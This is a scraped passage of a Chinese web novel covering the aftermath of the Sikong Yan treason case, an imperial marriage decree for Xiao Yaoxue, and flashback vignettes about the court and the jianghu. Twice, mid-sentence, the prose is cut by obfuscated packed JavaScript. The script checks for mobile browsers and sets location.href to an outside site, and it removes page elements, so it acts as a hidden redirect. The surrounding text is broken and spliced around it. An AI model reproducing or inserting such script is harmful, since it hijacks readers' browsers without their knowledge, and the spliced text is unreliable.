萧妖雪似乎是在替他着急一般，又开口道：“司空大人现在给你思考的时间不多了，再者说若你真的能将他们拦下，以后说不好还能找出这张罪状的破绽，成功反击一把呢？” 司空颜现在已经头晕脑胀，一时之间也想不出更好的决定，似乎从他答应去参加李治组织的那个晚宴开始，就已经进入了这万劫不复的境况，现在萧妖雪给的这个选择也是他唯一的出路。 司空颜已经没有力气再多说一个字，颤颤巍巍的拿起笔在萧妖雪拿出来的那张罪状签字画押， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时萧妖雪虽然觉得徐战定是不干净，自从鹿坪丘的事情发生后，各条线索都指向了徐战，而之前她刚认祖归宗时的那场那场刺杀，反倒让萧妖雪觉得行事太过随意不像他手笔，只是最后杀手都死了已经没有任何证据。所以倒不如将罪都加给司空颜，毕竟这些事他不可能一干二净。 旧岁之事旧岁了，新年仇怨新年。司空颜一案引起了圣人的高度重视，这一众人都被判了死刑，择日就在午门问斩。良田村的父母官宋元知情不报、私吞岁粮，杖责三十，罢免官位，无朝廷诏令不得为官。 当然对于这次事情的大功臣，圣人的打算自当是重赏。吴端镇压叛军有功官升一品，赏银百两，庭院一座。李安国抓拿重要嫌犯，官升兵马司副职，赏银百两。袁墨破获重案，断案神速，赏银五十两。 至于萧妖雪提供的最后定罪的罪证，这也是一大功，圣人对她的赏赐却迟迟没有公布。此事也牵动了不少人的心弦。 远在胡笳城的周明理同样听到了这个消息，此时距离萧妖雪离开不过三日，鬼字营就落网了，看来这女子是真有些手段。 看着这几日身体情况更加不济的母亲，周明理萌生了一个想法，自己是真是好久都没有回京都去看看了。虽然那里应该有很多人不想见到自己。 丁游小记： 丁游一个人的时候常常会想起一些旧事，那些旧事如梦般飘渺，让他时常怀疑这是不是他画本子看多了杜撰出来的。但是当再看到那般父亲留给自己的阵谱后，之前的疑虑又打消了。 那时他的丁游还是个刚刚入学的稚童，薄凉宗的书堂宽敞明亮，他的同窗多半和他一样都是薄凉宗弟子的后人，大家从小一起在宗门内长大，早早的就是情谊深厚。 虽说薄凉宗的阵法他们这个年纪的稚童学不了，但是整日在这样环境下，这些孩子照猫画虎的本事长进不少。时常还是可以画出一些整蛊的阵法。 正如这一日丁游带着他的伙伴们不知道在哪里找出一张离火阵的残片，好奇心驱动着这群顽童找了马厩后面就开始尝试。 离火阵不算什么稀有的阵法，操控起也不困难，几个小娃虽说拿的是残片，但是一番捣鼓后还真让他们成功了。 火舌快速从阵中心窜出，几人俱是一惊向后退去。 好巧不巧此时一阵风过夹杂着火苗就冲向旁边的草料堆。 几个孩子顿时慌了神，急忙忙去踩那火苗，只可惜收效甚微，正当他们打算立刻跑路的时候，突然一泼冰水从头顶浇落。 浇灭了蠢蠢欲动的火苗，也浇灭孩子们最后一丝侥幸。丁游是第一反应过来的，拔腿就跑，没想还没跑出几步竟然就狠狠撞在了空气上。 “丁游，你小子还敢跑，老子打断你的腿。”这声音听起来可和刚刚那盆冰水截然不同。 丁游摸着被撞了个包的脑袋缓缓起身，果然来到了父亲吹鼻子瞪眼那狰狞的表情。“你给我滚回来站好，好好听训话。我这么久回来一趟，你是真不让我省心。” 之后不出所料的就是一堆老生常谈，而父亲也是那天短暂的出现了一会，又离开了宗门。丁游那时候常常在想别说富贵人家了，就连那些平常人家真好，每天睁眼闭眼都可以看到他们的亲人，不像自己只有出事闯祸的时候才能见到。 32. 御赐婚姻 眼见年关将近，宫中各司也开忙碌起来，筹备开年大典，唯独御书房不敢有人去打扰。最近去御书房干活的宫女太监，无一例外，都被那御书房的气氛压得喘不过来气。 这几日的御书房，在这些宫人眼中就堪比鬼宅一般，无论白天黑夜这房中总是不点灯，若是圣人需要批阅奏折了，那就在御案点一根蜡烛。也有担心圣人龙体的太医进言让圣人保护自己的身体可是无一例外被骂的狗血淋头。 今日同样是入夜之后，圣人屏退了周围伺候的宫女太监，独自一人在御书房中，似乎又觉得屋内的光线太亮了，便亲自起身吹熄蜡烛，独留下案桌的一盏孤灯。他已经年近花甲，虽说万万人之上，但是也要操劳万万人的事情，头发开始泛白，都说年关难过，就算他是圣人也难逃年关。 前几日刑案司递上来关于司空颜谋逆案的详细过程，就放在那盏孤灯之下，几折封赏受恩的折子放在阴暗中，都已经盖上了东梁的印章，而唯独有一份赐婚的折子，还没有那一个红印，连同赐婚对象的地方也是空空如也。 熄了灯后，周钦德席地而坐，好似只要不在灯光下，他就不是那九五至尊，他也不需要端着那些仪态，不会有人看到，似乎近日的那些烦心事也都不会围绕着自己。 这几日司空颜一案发生，朝内就有不少人弹劾徐战，要求他把徐战贬官出京，可是他们可知道，徐战当年在他还只是德王的时候就跟着他，那些年他们都是一步一步相互扶持着才走到这位置。 再者说这些年徐战在东梁打的胜仗，恐怕比他们这次递上来的折子都多。更何况徐战手下愿意听他调遣的兵将，恐怕比京都的人还多。这让他如何是好。 这次事件的所有证据都指向了司空颜，司空颜也不供出徐战，他又哪有理由贬了他，不过好在这次李治似乎还站在他身边，他不用再抵御另一个高官的的压力。但是他们这群高官心中的算盘打得可比自己好，他们整天玩弄那些朝堂之事，似乎自己做的每一个决定都是他们棋局上的一枚棋子，现在他有心打乱这盘棋，可是执棋者并不愿意。 今日自己费尽心机想到给李家千金这赐婚的奖赏，却发现自己很难从这些儿子中选出一个最佳人选。 其实这件事情，他也旁敲侧击的问过李治和徐战，李治却直言不希望自己的女儿卷入这皇家之中，而徐战那老狐狸，绕了些弯子什么都没说出来。 圣人要给李家千金赐婚的事情并不是什么机密，只是当下人人都在猜忌，这圣旨一天不下，周钦德、李治、徐战他们心里就一天不安心。 正当周钦德以为自己置身黑暗无人会发现之时，却看到那孤灯前站了一人。这人身着黑色绸缎，看着桌上的奏折，因为站立位置的原因，刚好就遮住了孤灯打在周钦德身上的最后一缕光芒。 彻底陷入黑暗后，周钦德反倒有些慌张，从地上爬了起来走近那道身影，随着光线再度明朗，他也松了口气。 站在灯前的女子，已经过了少女这个最好的年岁，但是岁月的流逝好似并没有在她身上留下什么不好的印迹，反倒为她增添了一丝见多识广的气度。 周钦德刚走近，还未开口，就听到那女子开口说：“陛下本就是不喜欢黑暗的人，又何必强迫自己沉迷于黑暗呢？陛下的黑暗我们帮你承担的还不够吗？” 周钦德听了这话确实无法反驳，他之前以为他自己不喜欢呆在光芒下，可是就在刚刚最后一丝灯光被人遮住时，他才意识到，自己真的不适合黑暗。 于是讪讪开口道：“云雁，我觉得这天要变了，风怎么一阵一阵的，吹得这灯光忽明忽暗的。” 话音落下，他只觉得这窗户紧闭的御书房内竟然刮起了一阵风，那些原本被他熄灭的灯火竟然又重新燃了起来，女子的面貌也清晰了起来，正是给萧妖雪留下一封信后就不知所踪的萧云雁。 萧云雁看着灯亮后周钦德收回刚刚在黑暗中的那些神色，又变回了之前的高高在上的帝王，缓步走回主位上坐定，而萧云雁倒是不拘束，直接站到他的身边，看着桌上的圣旨道：“陛下在为赐婚的事烦恼？” 周钦德点了点头道：“这道圣令会改变很多东西，一旦昭告天下，我会得到很多东西，但是也会失去很多东西，我还没有考虑好。” 萧云雁看了看周钦德，又看看了圣旨，走到一旁的香炉处，点上了一支安神香，转而对周钦德说道：“其实是陛下想要的太多，把自己困住了。” 听到这话的周钦德疑惑地看向萧云雁，是呀这些年自己好像变得越来越贪心，但是所得到的东西却没有当年那样容易令自己满足。 与此同时，徐战在会客厅的主位坐定，旁边坐了一人，身着黑色长袍，帽檐很深，看不到容貌。 那人问道：“师傅，要不要救司空颜？” 徐战轻叹一口说道：“这次是我们没沉住气，司空颜是谋逆罪，救不得，谁救就与他同罪。司空颜也算为我们挡了一劫，只是恐怕这次小小的胜利根本不会给李家带来什么快乐吧，说不好还是不小的烦恼。” 黑袍人似乎对这样的结果也是感到惋惜，但也无能为力，不过尘埃落定，活着的人还要继续斗，师傅要走路，必定是尸横遍野。 不等黑袍人再说什么徐战又问道：“圣人动了赐婚的念头，你觉得他会给那萧妖雪安排个怎样的婚事。” 黑袍人思索了一下道：“圣人现在在京都的儿子就只有二殿下和五殿下。二殿下得宠但是手段不够狠厉，五殿下能力出众，野心勃勃，但陛下对他还是略微有些防备。” 说到这他停下来喝了一口茶，又继续道：“要我说若真是在这二人中选，圣人恐怕会把她许给五殿下。届时圣人若想要搬到李家，可借着撺掇皇子谋权篡位的罪名，一来李家必死无疑，二来还可以将老五贬去哪个不为人知的地方做个平头老百姓，也不用担心他会威胁老二的地位了。”听他说完，徐战并没有再接话，只是淡淡的喝着茶水，不知道脑子在想什么。 其实黑衣人这话说的倒是没有什么问题，只是在徐战看来，他低估了圣人对这两个皇子的喜爱，至少现在圣人对他们二人并不存在什么防备。 但是黑衣人的一句话倒是让徐战有了一些想法，没错圣人若只是在京都寻是只有他们二人，但是圣人在那胡笳城不是还有一位皇子吗？ 与此同时的李府中同样人心惶惶，事关李安国和袁墨的赏赐都已经拿到手了，但是同样是处于受赏名单上的萧妖雪，封赏却迟迟没有落到实处。再加上最近朝中流出来的一系列“谣言”，李家现在无一人觉得这并不是赏而是劫。 可唯独萧妖雪全然不在意，一来她本意就是要接近这些皇子的，无论赐婚的对象是谁，对萧妖雪都还算好事，二来她在前几日收到师傅的来信，信中也说明了她的目的。所以萧妖雪倒是不担心。 李治见她如此不在意，只当作嫁入皇家是不少女子梦寐以求的，而自家的女儿显然在其中。所以他是暗中做了些准备以防这圣人真将事情向着最坏的方向推，李家也有个应对之策。 这样与前几日相似的令人纠结的黑夜却没有迎来与前几日相似的无果的清晨。当整个京都刚恢复正常的运作，就有一队人马浩浩荡荡从宫中出来，过了长街，径直来到李府门前，宣旨的公公捏着嗓子，喊道：“圣旨到，李家接旨。” 从这圣旨的队伍出宫门，李治就收到了消息，所以早早就安排府内众人整装待发，圣旨到了李府并没有多等，李府的一众人等已经跪好。 “奉天承运皇帝昭曰：李治之女萧妖雪智勇双全，于司空颜聚众谋逆案中提供关键证据，当赏。朕念李家之女已是适婚年龄，却还未择夫婿，特赐婚一桩。三皇子周明理才德兼备，与李家之女甚是相配，特赐婚周明理与萧妖雪，明年择日完婚，钦此。” 听到这个结果，在场的所有人都有些震惊，连萧妖雪也不例外。周明理常年居住在胡笳城，这陛下怎么突然会想到他。又或者说将他俩绑在一起，虽然不会对朝廷有什么坏处，但是也不可能会有什么好处。 萧妖雪对于这个结果也有些许忧虑，毕竟周明理远居胡笳城，若是自己真的远嫁，那么之后要在京城活动必然会受到很大限制，只是不知道周明理有没有机会重回这京都，若他真的要回来恐怕也是要付出不少，不过如果潇湘阁届时给他一些帮助应该会容易些许，若是他连这都做不到，那他的那些雄心壮志恐怕也没机会实现了。 但是这圣旨还是只能接下，毕竟抗旨那可是重罪，风浪中心的李家承受不了这份重压。 宣完旨的公公回到宫中复命，只见御书房的门还是紧闭着，其他人等都在外面候着，他也不敢擅自进去，只是在台阶下高声回道，传旨之事已经完成。里面沉默了一下，随即传来一声“退下吧”，殿外等着的一众人等才快步离开。 御书房内，周钦德看着萧云雁问道：“她就是你的徒弟？” 萧云雁并没有回答，只是道：“多谢陛下这次愿意听我一言，算我欠周氏一个人情。” 周钦德见她并不愿意袒露，也不再追问，只是道：“云雁，我们都这些年了，你还说这些。再说了其实这是在帮你也是在帮我，昨夜你说得对，我确实舍不得任何一个孩子成为那些朝臣争斗的牺牲品，老三也确实是最适合的人选。” 萧云雁接过他的话说道：“三殿下，这些年都在胡笳城，朝中的势力不会强劲，就算娶了李治之女，李家也不会对他有什么过度的经营。他们二人所要担心的也不过是把日子过好就好了。” 周钦德点了点，继而看向萧云雁道：“这次你要离开多久？” 萧云雁低头沉思了一下，说道：“武榜即将开榜我得回谷内一段时间，你若有任何问题便传书信至潇湘阁，他们会找到我的。” 周钦德也没有挽留，负手走向了门口，推开御书房的门走了出去，看着万里无云的天空，高悬的白日，眼睛都有些睁不开了。 候在殿外的侍从也是急忙忙上前伺候，周钦德回过神来，又向御书房里看了一眼，那女子已经不见了踪影。 也罢，新年旧岁，他这孤家寡人注定一个人过。 赐婚的消息也很快传到胡笳城，周明理也甚是意外，看了看躺在床上的母亲，转身到一旁的桌上写下一封信件，内容大抵是说母亲病重，时日不多，此时不宜行大喜之事，希望陛下可以宽限些时日，待他将母亲后事安顿好后，自会迎娶李相之女。 不日这封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687116|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信的回信就到了周明理手上，打开之后只写了一字：准。 至于周明志和周明启得知这个消息并没有什么很明显反应，只是最近五皇子周明启往徐战府上跑的频率是多了不少。 距离过年只剩不到十天，武清宗的人走不少，大家都赶着回去和家人团聚，李无忧本也打算差不多就启程回京，可不知怎么的，武清交给的新剑法，他怎么练气都不顺，后面直接痛的他走不了路。武清通过自己气息为引，帮他疏通了经脉，告诉他这套剑法所用气息极其霸道，需要修炼者沉心静气，切记不可心急，而且必须在他的监督下，继续练习，而这个新年，就要在武清宗度过，李无忧本来是拒绝的，没想到武清也不惯着他，直接一封密信，就让潇湘阁派人送到了萧妖雪手上。 李无忧本以为姐姐还是会站在他这边，毕竟这么久没见，肯定会想他的，可谁料到他收到姐姐的回信却是让武清好好教导自己，千万不可松懈。 回雁山之外飞雪早，此时的武清宗早已是一片白茫茫。宗里的人走得差不多了，白雪覆盖的地方更多了，放眼望去白茫茫一片，雪地完整无暇。 这是李无忧第一个没在家过的新年，那天晚上捂在被子里从旧岁哭到了新年，后面武清还是不忍心他这样消沉，来找他聊了起来。 李无忧问道：“为什么姐姐也不要我回去呢？马得源他们家老早就派人来接他了。” 武清把他带到了屋外院子中坐下，拍着他的肩膀道：“最近京都很危险，李家也是刚从一场风波中脱身。” 李无忧问道：“是良田村？” 武清点点头道：“司空颜最终还是没斗过你姐，只是李家这次胜了，却更危险了，所以他们不想你再回去摊那滩浑水。” 李无忧似乎还是有些不理解，问道：“那师傅我什么时候才能再见到他们？” 武清却故作轻松的说道：“可能你成为天下第一的时候吧。” 说者无意听者有心，李无忧收了眼泪，暗下决心，习武会成为自己帮助李家的唯一出路。 年三十京都甚是热闹，只是这样的热闹存在于每家每户之中，并不在街道之上，欢喜的声音透过窗户充斥着京都。让这头巨兽也不显得那么生人勿近了。 李府早早就挂上了红灯笼，门口的石狮子，也被家丁擦的铮亮。 李治一家人围坐在饭桌，脸上虽是挂着笑容，但是这样的笑容中多少多了些忧伤。 特别是王氏都有些笑不出来的感觉，自从萧妖雪回来这半年，李府添了新人，但是也走了旧人。王氏自然知道萧妖雪不要李无忧回来是保护他，但是作为一个母亲，伤感总是难免的。 李安国和萧妖雪也是不停的给饭桌挑起些气氛，待到菜上齐了，李治也是举起杯来说道：“今天虽然无忧不在，但是我们这饭还是要吃，新年换旧岁，李家这一路走来不容易，我们这些个人一起坐在这也不容易，我不知道明年的这时候，坐在这的还有几个人，但是我希望就算有缺，但一定要有。喝了这杯酒就把旧岁送走吧。” 说完众人捧杯之后，将杯中酒一饮而尽。 萧云雁小记： 自上次荷县之事后，胡铭就时常来找萧云雁，左右都是在说将军阁这样做不对，不停的控诉段天行这样做会遭天谴的。 萧云雁又怎么会看不出其中的门道，但是人家段天行这次可是稳步高升了。荷县一事是萧云雁牵头去的，最后也不过是赏了些金银，但是段天行的赏赐可显然比这位牵头大哥更有吸引力。 就在荷县一事后段天行就得擢升，他的下一个差事，便是他独自挑头，也没有萧云雁什么事情了。 至于胡铭气得最多，拿得最少，还如此纠结不放过自己，这频繁登门倒是让萧云雁有一丝厌烦。 今日恰逢雨天，萧云雁刚推门出去，就看到胡铭蹲在门口，看到萧云雁出来，也不避讳这是何处，旁边可有耳目就说道：“萧姑娘，我觉得此事还是不能就此作罢。” “我后面又暗中调查了侯涛，他根本没有任何赃款，这就是嫁祸。” “那你是觉得单将军的判断有错，单将军耳目闭塞，还不如你一个江湖浪子得来的信息多？”萧云雁整日被他这样缠着难免心中烦闷，说话的语气难免重了了些，也是希望这个毛头小子可以知难而退，不要再引火烧身。 毕竟他不知道，段天行已经暗中规划好以后怎么处置这个小子了。 “那自然不是，我是觉得段天行他这人有问题。”显然胡铭没有听出萧云雁的言下之意。 “段天行是薄凉宗千挑万选出来的薄凉人，负责与江湖各大门派交流，你现在是在质疑薄凉宗？”其实说出此话萧云雁也是心中底气不足，毕竟像薄凉宗这样的大宗竟然会选出段天行这样的人来做薄凉人确实有失大家风范。只是她现在可是要“全心全意”为将军阁做事，怎么能怀疑自己的战友呢。 “薄凉人？”显然胡铭对于这个结果也很意外。 萧云雁不等他想清楚，就径直走入雨幕中，只给在原地的胡铭留下轻飘飘飘的一句话“以后若不是出任务，不要再来找我了，你真要有什么我也帮不上你什么。” 说罢便向着东南方向出了城。 33. 旧事新愁 春节气息足足持续到正月十五之后才有一些消减，回乡的商贩也在正月十五元宵节过完后，陆陆续续返回京都。 这是萧妖雪自从十年前元宵节遇袭后过的第一个新年。萧云雁把萧妖雪接回了潇湘阁后，萧妖雪就再也没过过新年，萧云雁告诉她，谷内的日子于她而言只是个数字，等到她回到市井之中，她才能真正体验时光流逝。 当时萧妖雪还不甚理解，每逢过年听着天边震天的鞭炮声，总想出去看看，可是无论是萧云雁还是文妆都会对她说一句：“黑夜中的光明最伤人。” 随着年龄的增长，萧妖雪需要看需要学的东西也越来越多，似乎过年时的爆竹声也不是那么吸引她了，而如今再回到京都，又听了这爆竹声，反倒还真有那么一丝不适应了。但是这样全家欢聚的日子，她还是很眷恋的。 在家的这几天李治整日就对自己那些花花草草打理打理，也不时有宫中递来的折子，他也不过就是简单处理下。但奇怪的是李治已经这般闲，却丝毫没有找萧妖雪问问良田村细节，萧妖雪心中也难免有些疑虑，毕竟兹事体大，李治就算派了丁游跟着自己但也没有理由说事后一句不问的。 这一日李治刚刚下朝回来，甚至还未褪去官服，就把萧妖雪叫到了书房。萧妖雪一进门李治就拿了一封信给她，信件封口处的火漆印并没被破坏，显然传信之人并没有打开窥探里面的信息，但是显然从李治的行为可以看出来，李治应当对信件的内容或者来源知道些什么。 萧妖雪有些犹豫是否要当着李治的面将信件拆开，李治也看出了她的担忧，叹了一口气说道：“信你就回去再看吧，我对其中内容不感兴趣。只是妖雪我想问问你，你与萧云雁是什么关系？” 听到这萧妖雪的眉头也不由自主的拧了起来，她来京都这段时间虽然与潇湘阁有所接触，但是她可以确定李府上下是没有机会知道的。 更别说还会觉得她和萧云雁会有关系，李治到底是怎么知道的，而且以师傅的能力也必然不可能说有人通过她来知道她们师徒二人的关系，除非是师傅故意的。 李治看着萧妖雪似乎还是很有顾虑，便上前一步打算拍一拍她，让她放宽心，可谁料这步子才迈出来，手还没有碰到萧妖雪，萧妖雪就向后快退了一步，眼神中对李治充满了警惕。 萧妖雪突然一下摸不透今天李治叫自己来的目的，所以整个人都陷入了防御姿态，关于自己这十年的经历，李治之前一直没有过多过问，但是萧妖雪也相信，他定然是对自己说辞是不会全信，但是只要他觉得对李家没有什么威胁的话，他可能不会去深究的，但今日，他突然把这事情提了出来，要么是李家遇到了危机，要么是有人给了他一些很明显的暗示。 李治见萧妖雪的戒备心还是很强，也没有再靠近，而是说道：“这封信是今天上朝前，陛下将我叫到御书房给我的，说让我转达你，是萧云雁要我交给你的。” 萧妖雪听到这表情稍微缓和了一些，毕竟若是师傅托付之事那么应当不会出现很坏的情况。 李治看到萧妖雪的表情不再像刚刚那么严肃，才继续说道：“妖雪，你说你这十年在外面了拜了师傅，这个师傅应当就是萧云雁吧。其实你回到京都不愿意提及她，也是正确的，萧云雁当年在京都树敌太多，如今又神龙见首不见尾，你若真的说出你的身份，恐怕今年这年我们都难一起过。” 听到这里，萧妖雪的疑惑已经超越了之前的警惕感，她盯着李治问道：“父亲，认识萧云雁？” 李治点了点头，又摇了摇头，开口说道：“萧云雁天下谁都认识，当年武榜第二。你若真是拜她为师，倒是赚到了。但是我与她……，关于她在京都的故事，你还是亲口问她比较好，我也不过是道听途说罢了，说了也不适合。”看着李治欲言又止的状况，萧妖雪知道，师傅在京都恐怕也是做过什么惊为天人的人事情吧。 不过似乎李治认识的只是人人都看得到的萧云雁，对于她是潇湘阁阁主的身份似乎并不知晓。 萧妖雪轻轻的点了点头说道：“不错，萧云雁是我的师傅，这十年也是她将我带大的，我的武功也皆是她所传。父亲还有什么想知道的？” 李治沉默了下开口道：“那你知道周明启的母亲是谁吗？” 萧妖雪思索片刻说道：“慧妃林梦呀，这其中还有什么隐情？” 天子家的家事，从来不是家事，都是国事，五皇子周明志的母亲，世人都知道是先皇所重用的宰相林华东之女林梦，入宫为妃，为先皇诞下一子，因母亲林梦聪慧、见多识广，常与先皇谈论这天下之事，往往角度新奇，会给圣人一些不一样的启发。后来诞下了皇子圣人念在林梦之前给过自己很多思路，赐名周明启。 李治点点头，看着萧妖雪此时应当是冷静下来了，走到书桌前给她倒了一杯茶水，示意她坐下来慢慢聊。 萧妖雪接过茶水，在一旁的椅子上坐了下来。李治也在书桌前坐下后才开口说道：“不错就是林梦，但是你可知道林梦又为何会受到帝王青睐？” 此时萧妖雪更是满头疑问，但她也只能根据她手上消息说道：“因为她见多识广。” 谁知李治突然话头一转说道：“萧云雁曾经在林家做了一段时间的护卫，与小姐林梦关系甚好，林梦曾经因为和父亲的矛盾，出去江湖上闯荡了几年，这几年都是萧云雁陪伴在身边。据说这段时间，她们遇到了很多的人和事，江湖也因为她们有了不小的变化。” 萧妖雪对李治突然说这个还是有些不解，师傅是慧妃的护从这事她倒是之前在毫无听闻，但父亲今天说这么一大堆到底是想表达什么呢？ 萧妖雪自知现在不宜多言，李治一副欲说还休的表情，让萧妖雪更希望可以从他的表情中看出点什么来。李治感受到萧妖雪投来的目光，知道若是现在再不说清楚点，恐怕等会这姑娘出门就要找人查自己了。 李治清了一清嗓子道：“我想说的是慧妃和老五今日的圣宠与萧云雁分不开，只可惜圣人最后还是未能将萧云雁纳入后宫是他惋惜，但是应当也是一件幸事。今日圣人让我传信之事并未避讳旁人，所以你与萧云雁有交集的事情应该很快京都中的权贵都会知道，他们定然不会坐以待毙，你还是需要做好应对的准备。” 萧妖雪点了点头，眼神已经没有刚听到李治提到萧云雁时的狠戾，萧妖雪只觉得当年应当泯灭的亲情似乎又再度出现了。 师傅是传说的阴宰相一事，萧妖雪早就有所猜测，她与林梦不同，她是江湖人士，林梦是宰相之女，就算游走江湖这些年，也是高官之后入宫为妃名正言顺。只是萧妖雪确实没想到这慧妃得宠竟然与师傅有关。 只是潇湘阁与皇室的交易一直比较隐晦，更何况潇湘阁的少阁主的身份更是与下一任圣人密切相关。如今朝堂局势还未定，圣人这样做与将湘湘阁少阁主身份直接公之于众有何区别。莫非这一切师傅也是知情的？ 思索之间杯中茶已饮尽，正当萧妖雪要离开时，李治又突然叫住了她道：“妖雪，你最近若是在京都听到些什么消息，你可以选择相信，我承认有时真相真的没有描绘中那么美好。” 萧妖雪当时并不能完全理解李治的意思，只是觉得说出这句话似乎也耗费了李治很大的力气，他整个人似乎都苍老了。 萧妖雪离开了李治书房，回到了房间便拆开了信件，上面的字迹确实是萧云雁的笔记，信的内容也甚是简洁，写到：近日择时回谷一趟，他事当面详谈。萧云雁留 良田村之后，徐战的势力被斩除司空颜、孙凯之两名大将，也需要休养身息。李治在朝中的势力也是很稳定，此次取得一捷，李安国得以升至兵马司的副职，他并不打算趁胜追击，徐战在朝中的势力根生蒂固，小小一个良田村、公主坟司空颜把所有的罪都扛了，现在攻击徐战显然不是一个很好的决定。 萧妖雪倒也不必担心此时徐战再度发难，之后若真如今日李治所说，师傅或者圣人有意挑明自己和萧云雁的关系，那京都中盯着自己的眼睛肯定会比之前多得多。 今日她本也收到了京都潇湘阁的信息，但是还未前去赴约，恐怕日后去阁中还需要更小心些，免得让人有了不好的联想。 于是萧妖雪并没有前往楼里，而是用了潇湘阁的信鸽给沈轻离传了一封简信示意自己稍后再去。 这段时间过得风光的除了李家，还有袁墨，自从破获了良田村一案后，他成功拜入了李治门下，在这朝中干活的人，多少都会对李治或者徐战有所偏向，刑案司自然也不例外，袁墨拜入了李治门下后，在刑案司办事那可是愈加顺畅，接连破获好几桩朝臣的陈年旧案，或贪腐、或走私又或者是草菅人命，而且桩桩件件都证据齐全，那些犯了是的大臣也是供认不讳。 但袁墨这么做很快就引起了朝中一些人的不满，有人便开始暗暗调查他，却发现这人在入京为官之前的经历就像不存在一般，根本查不到。还有敏锐的人发现，这袁墨最近逮出来这些罪臣，不少都是当年鬼月案中出力、获利的人。 这一股鬼月亡魂归的妖风很快就吹遍了京都，自然是逃不过圣人的耳朵。这日袁墨下朝回到家，袁梅却早早的门口等着他，替他卸去官服后，就问道：“兄长，你这般大张旗鼓的办这些官员，就不怕别人真的翻出什么端倪？” 袁墨说道：“我要的就是所有人都知道。” 袁梅不解：“你就不怕圣人将我们当作余孽处决了吗？” 袁墨听到这话并没有丝毫的慌张，而是继续胸有成竹的说道：“当年圣人下令剿灭鬼月的时候，就下过一道令——不得伤其家眷。所以就算今日全京都都知道我是袁清的儿子，我也不怕。” 袁梅很少参与政事，袁墨也有意无意避免她知道这些东西，所以这也是她第一次听说当年还有这么般诏令，不由得有些惊讶，毕竟当年上到八旬老人，下到垂髫小儿无一幸免。若不是圣人下的令，到底还有谁还有这般本事，屠戮这么多人。 袁梅入京也有半载有余了，这段时间内袁墨很不让她碰他做的事情，只有一些需要武力解决的问题，才会让袁梅出手，其他更多的还是他亲自处理，或者交由他之前培植一批手下。 袁墨看着袁梅瞪大的眼睛说道：“小梅，你记住鬼月从未做过任何不忠于东梁之事，却平白无故的蒙受了十年的冤屈，我要为鬼月翻案，不是只有圣人、你和我知道当年的真相，我要全天下的人都知道。” 说这话的时候袁墨难免又激动了起来，手攥成拳，指甲已经把手心印出深深的印子。 袁梅其实常常都想为兄 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袁墨这几日的心情就像这地一样，又冷又脏脚，他破获的这些案件并没有让他感到有任何成就感，反倒一件一件压在心上，一件一件烂在肚里，就等着哪天有人愿意重新提一句，好让他将这些烂泥吐出来，铺一下接下来要走的路。 向来不会有人愿意在正月里找不愉快，所以这正月里递上去的折子也少了不少，这早朝也是早早的就散了。 袁墨再一次败兴而归，圣人在今日的朝会上依然什么都没说。正当袁墨踩着那一滩滩快要走到宫门口时，一个小太监在后面叫住他：“袁大人，袁大人，袁大人留步。” 看到袁墨停步回看，那小太监又急急忙忙加快了脚步，走到了袁墨跟前，虽然喘得有些上气不接下气了，但还是恭恭敬敬地行了一个礼，才开口道：“袁大人，陛下邀您去后院观鱼。”说罢就做了一个邀请的手势。 袁墨自进得京都以来除了在金殿与圣人有过交流，其他时候还从未与圣人说过话。他自然也知道这朝中像李治、徐战这样的人不用说，自然是皇上御花园的常客，就连赵江河和之前落马的司空颜这年轻一辈，都有这么一两次受圣人邀请去御花园一叙。自己自从入朝也一直希望有这个机会，梅正源案结束的时候他也想过圣人会召见他，良田村案结束的时候他也想过圣人会召见他，唯独这次他希望在金殿上与圣人展开说说时，圣人却邀他去御花园赏鱼，难免让袁墨有一丝失望。 周钦德小记： 京都城东南外有一个街亭，由于年久失修，看上去相当破旧，再加上雨天路滑，平日里少有人经过。 周钦德对于他的这两跟班，时常觉得自己有些看不懂他们的艺术。 正如今日，他们在亭中，外面下着大雨，只是让袁清去盯着周围有没有什么可疑之人，这人就蹲在亭子上面，连伞都不打一把。 至于徐战更是令周钦德头大，他们二人已经在亭中，也不知道这人是哪根筋搭错了，非要给他把伞，周钦德问他为什么，这人说，这样看起来他们像是在办大事。 周钦德心中暗想，之后一定不能再让他俩看画本了，不然这脑子肯定是要比命先没。 正当周钦德还在嫌弃这二人的做派之时，身后传来了脚步声，来的人正是萧云雁，看着这亭中奇怪的三人，萧云雁难免有些想笑。 周钦德看到萧云雁也是一惊，往日他们见面萧云雁都是素衣素裙，今日却是一身明艳的红裙，在这昏暗的雨天，在这奇怪的两个人身边，她显得多么夺目。 “云雁，你那边情况怎么样？” “将军阁中不少江湖人士都很忠诚，许下的承诺非常诱人。但我还是没有什么证据可以说明将军阁证明单骁就是将军阁的主事人。” “此事确实急不来，但是我怕他们憋不了多久，届时你要有个心理准备，毕竟他们说是人做的事却猪狗不如。听说最近父皇的病又加重，我也不太能看清楚太子在其中的立场，只希望他至少能袖手旁光吧。” “武清呢？他没和你们一起？”萧云雁听得出周钦德的焦躁，但是现在他们除了等待什么都做不了。 “他在照顾那些人，京都周围认识他人多，我就没叫他过来，以免再生事端。他们都是重要的证人，不能再有什么差池了。你之后在京都行事也一定要多加小心。” “我明白了。”萧云雁只当这是周钦德对于下属的关照罢了，毕竟他看起来确实是一位随和的王爷，袁清与徐战甚至之后的武清在他身边都时常受到他的关心。 几人相对无话，就这样静静的听着听在外面落雨的声音，半晌之后萧云雁起身道别，临走还是忍不住看了周钦德一眼说道：“这次是我考虑不周了，没想到德王殿下这般怕雨天，我下次一定挑个好天气。” 说罢又撑起油纸伞走进了雨中。 周钦德听到这话后，才想起他们刚刚谈话全程，徐战就这样一直给自己撑着伞，心中不免升起一股羞臊感，瞪了徐战一眼，一把夺过雨伞向着山下走去。 